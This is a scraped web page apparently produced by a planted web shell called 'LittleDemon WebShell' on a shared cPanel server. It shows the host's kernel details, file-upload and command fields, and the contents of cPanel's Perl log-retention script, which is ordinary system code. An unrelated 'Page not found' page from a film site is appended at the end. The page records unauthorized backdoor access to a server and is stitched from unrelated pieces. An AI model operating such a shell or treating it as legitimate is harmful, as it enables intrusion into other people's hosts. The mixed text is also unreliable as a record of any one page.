LittleDemon WebShell


Linux sh00002.bigrock.com 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
Path : /scripts/
File Upload :
Command :
Current File : //scripts/log_retention

#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2026 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

package scripts::log_retention;

use cPstrict;

use Getopt::Long ();
use Try::Tiny;
use File::Find;
use File::Path qw(remove_tree);
use File::Basename;
use Time::HiRes;

use Cpanel::AccessIds::ReducedPrivileges ();
use Cpanel::Config::LoadCpConf           ();
use Cpanel::Config::Users                ();
use Cpanel::Hooks                        ();
use Cpanel::Logger                       ();
use Cpanel::LogManager                   ();
use Cpanel::SafeRun::Object              ();
use Cpanel::YAML                         ();

use constant {
    PLUGIN_DIR => '/var/cpanel/log_retention/plugins',
};

# Built-in log types
my %BUILTIN_LOG_TYPES = (
    web => {
        get_default_retention => \&_get_web_default_retention,
        get_user_retention    => \&_get_web_user_retention,
        sys_paths             => \&_get_web_sys_paths,
        user_paths            => \&_get_web_user_paths,
        description           => 'Web server logs (Apache/NGINX access and error logs)',
    },
);

# Combined log types (built-in + plugins)
my %LOG_TYPES;

sub script {
    my (@args) = @_;

    local $| = 1;

    # Load built-in types first, then plugins
    %LOG_TYPES = %BUILTIN_LOG_TYPES;
    _load_plugin_log_types();

    my %opts = (
        help    => 0,
        run     => 0,
        type    => [],
        verbose => 0,
    );

    my $getopt_result = Getopt::Long::GetOptionsFromArray(
        \@args,
        'help|h'    => \$opts{help},
        'run'       => \$opts{run},
        'type=s@'   => $opts{type},
        'verbose|v' => \$opts{verbose},
    );

    if ( !$getopt_result || $opts{help} ) {
        _usage();
        return 0;
    }

    my $logger = Cpanel::Logger->new();

    if ( $opts{run} ) {
        return _run_retention_cleanup( $opts{type}, $opts{verbose}, $logger );
    }
    else {
        return _show_log_types( $opts{type}, $opts{verbose}, $logger );
    }
}

sub _usage {
    print <<"EOF";
Usage: $0 [options]

Log retention management utility for cPanel & WHM

Options:
    --help, -h          Show this help message
    --run               Execute log retention cleanup
    --type TYPE         Process specific log type(s) only (can be repeated)
    --verbose, -v       Enable verbose output

Examples:
    $0                          # Show all log types and their settings
    $0 --run                    # Process all log types
    $0 --run --type web         # Process only web logs
    $0 --run --type web --type custom  # Process web and custom log types
    $0 --verbose               # Show detailed information

Built-in log types:
EOF

    for my $type ( sort keys %BUILTIN_LOG_TYPES ) {
        printf "    %-10s %s\n", $type, $BUILTIN_LOG_TYPES{$type}{description};
    }

    # Show plugin log types if any
    my @plugin_types = grep { !exists $BUILTIN_LOG_TYPES{$_} } keys %LOG_TYPES;
    if (@plugin_types) {
        print "\nPlugin log types:\n";
        for my $type ( sort @plugin_types ) {
            printf "    %-10s %s\n", $type, $LOG_TYPES{$type}{description};
        }
    }

    print "\nPlugin directory: " . PLUGIN_DIR . "\n";
    print "\n";
    return;
}

sub _show_log_types {
    my ( $requested_types, $verbose, $logger ) = @_;

    my @types_to_show = @{$requested_types} ? @{$requested_types} : sort keys %LOG_TYPES;

    print "Log Retention Configuration:\n";
    print "=" x 50 . "\n";

    for my $type (@types_to_show) {
        if ( !exists $LOG_TYPES{$type} ) {
            $logger->warn("Unknown log type: $type");
            next;
        }

        my $config            = $LOG_TYPES{$type};
        my $default_retention = $config->{get_default_retention}->();

        print "\nType: $type\n";
        print "Description: $config->{description}\n";
        print "Configured system-wide retention: ";
        if ( $default_retention == 0 ) {
            print "Never delete\n";
        }
        else {
            print "$default_retention days\n";
        }

        if ($verbose) {
            print "System paths:\n";
            my @sys_paths = $config->{sys_paths}->();
            for my $path (@sys_paths) {
                print "  - $path\n";
            }

            print "User retention setting: ~<user>/.cpanel-logs (web-log-retention-days)\n";
        }
    }

    print "\n";
    return 0;
}

sub _run_retention_cleanup {
    my ( $requested_types, $verbose, $logger ) = @_;

    my @types_to_process = @{$requested_types} ? @{$requested_types} : sort keys %LOG_TYPES;

    $logger->info("Starting log retention cleanup process");

    for my $type (@types_to_process) {
        if ( !exists $LOG_TYPES{$type} ) {
            $logger->warn("Unknown log type: $type - skipping");
            next;
        }

        $logger->info("Processing log type: $type");

        my $start_time = Time::HiRes::time();

        try {
            _process_log_type( $type, $verbose, $logger );
        }
        catch {
            $logger->error("Failed to process log type '$type': $_");
        };

        my $duration = sprintf( "%.2f", Time::HiRes::time() - $start_time );
        $logger->info("Completed processing '$type' in ${duration}s");
    }

    $logger->info("Log retention cleanup process completed");
    return 0;
}

sub _process_log_type {
    my ( $type, $verbose, $logger ) = @_;

    my $config            = $LOG_TYPES{$type};
    my $default_retention = $config->{get_default_retention}->();

    my $files_processed = 0;
    my $process_success = 1;

    # Check if running as non-root user
    my $is_root      = ( $> == 0 );
    my $running_user = $is_root ? undef : getpwuid($>);

    eval {
        # Process system paths
        # Skip if default retention is 0 = never delete
        # Also skip system paths if running as non-root user
        if ( !$is_root ) {
            $logger->info("Running as non-root user - skipping system paths for type: $type") if $verbose;
        }
        elsif ( $default_retention == 0 ) {
            $logger->info("System retention set to 'never delete' - skipping system paths for type: $type") if $verbose;
        }
        else {
            $logger->info("Processing system logs for type: $type");
            my @sys_paths = $config->{sys_paths}->();
            for my $path (@sys_paths) {
                $files_processed += _cleanup_logs_in_path(
                    {
                        base_path      => $path,
                        retention_days => $default_retention,
                        log_type       => $type,
                        user           => undef,
                        verbose        => $verbose,
                        logger         => $logger,
                    }
                );
            }
        }

        # Process user paths
        # If running as non-root, only process the current user's logs
        $logger->info("Processing user logs for type: $type");
        my @users = $is_root ? Cpanel::Config::Users::getcpusers() : ($running_user);

        for my $user (@users) {

            my $user_retention = $config->{get_user_retention}->($user) // $default_retention;

            if ( $user_retention == 0 ) {
                $logger->info("User '$user' has retention set to 'never delete' - skipping") if $verbose;
                next;
            }

            my @user_paths = $config->{user_paths}->($user);
            for my $path (@user_paths) {
                $files_processed += _cleanup_logs_in_path(
                    {
                        base_path      => $path,
                        retention_days => $user_retention,
                        log_type       => $type,
                        user           => $user,
                        verbose        => $verbose,
                        logger         => $logger,
                    }
                );
            }
        }

        1;
    } or do {
        $process_success = 0;
        $logger->error("Processing failed: $@");
    };

    $logger->info( "Processed type '$type': $files_processed files deleted, status: " . ( $process_success ? 'success' : 'failed' ) );

    return;
}

sub _find_user_log_files ($cutoff_time) {
    my $archives = Cpanel::LogManager::list_logs();

    my @files;
    for my $archive ( @{$archives} ) {
        if ( $archive->{mtime} && $archive->{mtime} < $cutoff_time ) {
            push @files, $archive->{path};
        }
    }

    return @files;
}

sub _find_system_log_files ( $base_path, $cutoff_time ) {
    my @files;

    my $wanted = sub {
        return unless -f $_;
        return if -l $_;                     # Skip symlinks to prevent symlink attack vulnerabilities
        return if $_ eq '.' or $_ eq '..';

        # Skip current/active log files
        return if $_ =~ /\.log$/ && $_ !~ /\.(gz|bz2|\d+)$/;

        # Look for rotated logs: .log.1, .log.gz, .log.20241201, etc.
        return unless $_ =~ /\.log\.(?:\d+(?:\.gz|\.bz2)?|gz|bz2|\d{8}(?:\.gz|\.bz2)?)$/;

        my $mtime = ( stat($_) )[9];
        if ( $mtime && $mtime < $cutoff_time ) {
            push @files, $File::Find::name;
        }
    };

    find( { wanted => $wanted, no_chdir => 1 }, $base_path );

    return @files;
}

sub _cleanup_logs_in_path {
    my ($args)         = @_;
    my $base_path      = $args->{base_path};
    my $retention_days = $args->{retention_days};
    my $log_type       = $args->{log_type};
    my $user           = $args->{user};
    my $verbose        = $args->{verbose};
    my $logger         = $args->{logger};

    return 0 unless -d $base_path;

    my $cutoff_time = time() - ( $retention_days * 24 * 60 * 60 );
    my @files_to_delete;

    # Define the file finding operation
    my $find_files_coderef = sub {
        @files_to_delete =
          $user
          ? _find_user_log_files($cutoff_time)
          : _find_system_log_files( $base_path, $cutoff_time );
        return;
    };

    # Find rotated log files - drop privileges for user paths to prevent
    # symlink attacks and unauthorized access (TOCTOU mitigation)
    if ( $user && $> == 0 && $user ne 'root' ) {
        Cpanel::AccessIds::ReducedPrivileges::call_as_user( $find_files_coderef, $user );
    }
    else {
        $find_files_coderef->();
    }

    if ( !@files_to_delete ) {
        return 0;
    }

    $logger->info(
        sprintf(
            "Found %d log files to delete in %s (retention: %d days%s)",
            scalar(@files_to_delete),
            $base_path,
            $retention_days,
            $user ? " for user: $user" : ""
        )
    ) if $verbose || @files_to_delete > 10;

    # Execute pre-deletion hook
    try {
        Cpanel::Hooks::hook(
            {
                category => 'Log::Retention',
                event    => 'pre_deletion',
                stage    => 'pre',
            },
            {
                log_type        => $log_type,
                user            => $user,
                base_path       => $base_path,
                files_to_delete => \@files_to_delete,
                retention_days  => $retention_days,
            }
        );
    }
    catch {
        $logger->warn("Pre-deletion hook failed: $_");
    };

    # Define the deletion operation
    my $deleted_count        = 0;
    my $delete_files_coderef = sub {
        for my $file (@files_to_delete) {
            try {
                unlink($file) or die "Failed to delete $file: $!";
                $deleted_count++;
                $logger->info("Deleted: $file") if $verbose;
            }
            catch {
                $logger->warn("Failed to delete $file: $_");
            };
        }

        return;
    };

    # Delete files - drop privileges for user paths to ensure we can only
    # delete files the user owns (prevents privilege escalation)
    if ( $user && $> == 0 && $user ne 'root' ) {
        Cpanel::AccessIds::ReducedPrivileges::call_as_user( $delete_files_coderef, $user );
    }
    else {
        $delete_files_coderef->();
    }

    $logger->info( "Deleted $deleted_count files from $base_path" . ( $user ? " (user: $user)" : "" ) );

    # Execute post-deletion hook
    try {
        Cpanel::Hooks::hook(
            {
                category => 'Log::Retention',
                event    => 'post_deletion',
                stage    => 'post',
            },
            {
                log_type       => $log_type,
                user           => $user,
                base_path      => $base_path,
                deleted_count  => $deleted_count,
                retention_days => $retention_days,
            }
        );
    }
    catch {
        $logger->warn("Post-deletion hook failed: $_");
    };

    return $deleted_count;
}

sub _get_web_default_retention {
    my $cpconf = Cpanel::Config::LoadCpConf::loadcpconf();

    return $cpconf->{'web_log_retention_days'} // 0;
}

sub _get_web_user_retention {
    my ($user) = @_;

    my $user_home = _get_user_home($user);
    return unless $user_home;

    my $config_path = "$user_home/.cpanel-logs";
    return unless -e $config_path;

    require Cpanel::Config::LoadConfig;

    my @pwent = getpwnam($user);
    return unless @pwent;

    my $conf_ref;
    if ( $> == 0 && $user ne 'root' ) {
        $conf_ref = Cpanel::AccessIds::ReducedPrivileges::call_as_user(
            sub { Cpanel::Config::LoadConfig::loadConfig($config_path) },
            $pwent[2], $pwent[3]
        );
    }
    else {
        $conf_ref = Cpanel::Config::LoadConfig::loadConfig($config_path);
    }

    my $value = $conf_ref->{'web-log-retention-days'};
    return unless defined $value && $value =~ /^[0-9]+$/;

    return int($value);
}

sub _get_web_sys_paths {
    my @paths;

    # Apache system logs
    push @paths, '/usr/local/apache/logs' if -d '/usr/local/apache/logs';
    push @paths, '/var/log/apache2'       if -d '/var/log/apache2';
    push @paths, '/var/log/httpd'         if -d '/var/log/httpd';

    # NGINX system logs
    push @paths, '/var/log/nginx' if -d '/var/log/nginx';

    # cPanel domlogs
    push @paths, '/usr/local/apache/domlogs' if -d '/usr/local/apache/domlogs';

    return @paths;
}

sub _get_web_user_paths {
    my ($user) = @_;

    my $user_home = _get_user_home($user);
    return () unless $user_home;

    my @paths;

    # web specific logs in user's ~/logs directory ???
    my $logs_dir = "$user_home/logs";
    push @paths, $logs_dir if -d $logs_dir;

    return @paths;
}

sub _get_user_home {
    my ($user) = @_;

    my @pwent = getpwnam($user);
    return @pwent ? $pwent[7] : undef;
}

#
# Plugin System
#
# Third-party plugins can be installed by dropping a YAML file in PLUGIN_DIR.
# Each plugin YAML file should define handlers that point to executable scripts.
#
# Example plugin YAML structure:
#
#   name: myapp
#   description: "MyApp application logs"
#   handlers:
#     get_default_retention: /opt/cpanel/myapp/bin/log_retention_default
#     get_user_retention: /opt/cpanel/myapp/bin/log_retention_user
#     sys_paths: /opt/cpanel/myapp/bin/log_retention_sys_paths
#     user_paths: /opt/cpanel/myapp/bin/log_retention_user_paths
#
# Handler scripts should:
#   - get_default_retention: Print the default retention days (integer) to STDOUT
#   - get_user_retention: Accept username as $1, print retention days to STDOUT (or nothing for default)
#   - sys_paths: Print one path per line to STDOUT
#   - user_paths: Accept username as $1, print one path per line to STDOUT
#

sub _load_plugin_log_types {
    my $plugin_dir = PLUGIN_DIR;
    return unless -d $plugin_dir;

    opendir my $dh, $plugin_dir or return;
    while ( my $file = readdir($dh) ) {
        next unless $file =~ /^([a-z][a-z0-9_-]*)\.(?:yaml|yml)$/i;
        my $potential_name = $1;
        next unless -f "$plugin_dir/$file";

        try {
            my $config = Cpanel::YAML::LoadFile("$plugin_dir/$file");
            _register_plugin_log_type( $config, "$plugin_dir/$file" );
        }
        catch {
            warn "Failed to load plugin from $file: $_\n";
        };
    }
    closedir $dh;

    return;
}

sub _register_plugin_log_type {
    my ( $config, $config_path ) = @_;

    # Validate required fields
    my $name = $config->{name};
    unless ( $name && $name =~ /^[a-z][a-z0-9_-]*$/i ) {
        warn "Plugin config $config_path: 'name' is required and must be alphanumeric\n";
        return;
    }

    # Don't allow overriding built-in types
    if ( exists $BUILTIN_LOG_TYPES{$name} ) {
        warn "Plugin config $config_path: Cannot override built-in log type '$name'\n";
        return;
    }

    my $handlers = $config->{handlers};
    unless ( $handlers && ref($handlers) eq 'HASH' ) {
        warn "Plugin config $config_path: 'handlers' section is required\n";
        return;
    }

    # Validate required handlers exist and are executable
    for my $required (qw(get_default_retention sys_paths)) {
        my $handler = $handlers->{$required};
        unless ( $handler && -f $handler && -x $handler ) {
            warn "Plugin config $config_path: Handler '$required' ($handler) must exist and be executable\n";
            return;
        }
    }

    # Register the plugin log type with wrapper functions
    $LOG_TYPES{$name} = {
        description           => $config->{description} || "Plugin: $name",
        get_default_retention => sub { _call_plugin_handler( $handlers->{get_default_retention}, 'scalar' ) },
        get_user_retention    => sub { _call_plugin_handler( $handlers->{get_user_retention},    'scalar', @_ ) },
        sys_paths             => sub { _call_plugin_handler( $handlers->{sys_paths},             'list' ) },
        user_paths            => sub { _call_plugin_handler( $handlers->{user_paths},            'list', @_ ) },
        _plugin_config        => $config,
    };

    return 1;
}

sub _call_plugin_handler {
    my ( $handler_path, $return_type, @args ) = @_;

    # If no handler defined (optional handlers like get_user_retention)
    return $return_type eq 'list' ? () : undef unless $handler_path;
    return $return_type eq 'list' ? () : undef unless -f $handler_path && -x $handler_path;

    my $result = Cpanel::SafeRun::Object->new(
        program => $handler_path,
        args    => \@args,
        timeout => 30,
    );

    if ( $result->CHILD_ERROR() ) {
        warn "Plugin handler $handler_path failed: " . ( $result->stderr() || 'unknown error' ) . "\n";
        return $return_type eq 'list' ? () : undef;
    }

    my $output = $result->stdout() // '';
    chomp $output;

    if ( $return_type eq 'scalar' ) {

        # Return first line as scalar (e.g., retention days)
        my ($value) = split /\n/, $output, 2;
        return $value;
    }
    else {
        # Return all lines as list (e.g., paths)
        return grep { length $_ } split /\n/, $output;
    }
}

exit( __PACKAGE__->script(@ARGV) || 0 ) if !caller();

1;

__END__

=head1 NAME

scripts::log_retention - Log retention management utility for cPanel & WHM

=head1 SYNOPSIS

    /usr/local/cpanel/scripts/log_retention [options]

    Options:
        --help, -h          Show help message
        --run               Execute log retention cleanup
        --type TYPE         Process specific log type(s) only
        --verbose, -v       Enable verbose output

=head1 DESCRIPTION

This script manages log file retention across different log types in cPanel & WHM.
It supports:

=over 4

=item * System-wide default retention policies

=item * User-specific retention overrides

=item * Multiple log types (web, and extensible for others)

=item * Hook points for custom pre/post deletion actions

=item * Resource-aware processing

=back

=head1 LOG TYPES

=head2 web

Manages web server logs including:

=over 4

=item * Apache access and error logs

=item * NGINX access and error logs

=item * Domain-specific logs in user directories

=item * System-wide web server logs

=back

=head1 CONFIGURATION

=head2 System Configuration

Default web log retention is configured via WHM Tweak Settings
(web_log_retention_days in /var/cpanel/cpanel.config):

    web_log_retention_days=30

Set to 0 to never delete (this is the default).

=head2 User Configuration

Users can override the system default via the .cpanel-logs file
in the user's home directory (~user/.cpanel-logs):

    web-log-retention-days=60

Set to 0 to never delete user logs.
If not set or invalid, the system default is used.

=head1 HOOKS

The following hooks are available for custom integration, such as archiving
logs to external storage before deletion:

=head2 Log::Retention::pre_deletion

Called before deleting files. This is the recommended integration point for
archiving solutions - copy or upload the files before they are deleted.

Receives:

=over 4

=item * log_type - The type of logs being processed

=item * user - Username (if processing user logs, undef for system logs)

=item * base_path - Base directory being processed

=item * files_to_delete - Array reference of files to be deleted

=item * retention_days - Retention period in days

=back

=head2 Log::Retention::post_deletion

Called after deleting files. Receives:

=over 4

=item * log_type - The type of logs processed

=item * user - Username (if processing user logs, undef for system logs)

=item * base_path - Base directory processed

=item * deleted_count - Number of files actually deleted

=item * retention_days - Retention period in days

=back

=cut

LittleDemon - FACEBOOK
[ KELUAR ]
Page not found – Sparkplug Films
Small totara tree on ridge above Long Point

Page not found

The page you are looking for doesn't exist, or it has been moved. Please try searching using the form below.